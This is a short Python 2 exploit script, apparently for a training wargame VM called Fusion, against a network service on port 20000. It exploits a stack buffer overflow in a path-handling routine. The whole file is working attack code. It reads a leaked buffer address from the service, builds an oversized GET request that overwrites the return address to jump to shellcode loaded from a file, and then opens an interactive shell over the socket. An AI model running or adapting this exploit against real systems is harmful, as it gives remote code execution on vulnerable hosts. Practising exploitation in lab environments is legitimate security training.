PORT = 20000
FUSION_IP = "192.168.180.129"
import socket
import string
import telnetlib

s = socket.socket()
s.connect((FUSION_IP, PORT))

#exploit:
# realpath copies the path to a smaller buffer
# and there's no length checks
# realpath changes ../ or ./ in the buffer so they are illegal bytes
# for the shellcode :)

### actually realpath actually copies data after GET /
### but data can be stored after HTTP/1.1.... with no obligations :)


payload = open("shellcode.bin","rb").read() #\x90" * 100 + "\xCC" * 400

recv_data = s.recv(300) # reads data
print recv_data
buf_loc = int(recv_data[recv_data.find('0x')+2:][:8], 16) #
shellcode = 'A' * 135 + 'BBBB' + 'CCCC'
payload_loc = buf_loc + len("GET /%s HTTP/1.1" % shellcode)
print payload_loc
real_payload_loc = string.zfill(hex(payload_loc)[2:-1],8).decode('hex')[::-1]
shellcode = shellcode.replace('CCCC', real_payload_loc)
s.send("GET /%s HTTP/1.1%s" % (shellcode, payload))
t = telnetlib.Telnet()
t.sock = s
t.interact()
print s.recv(300) # reads data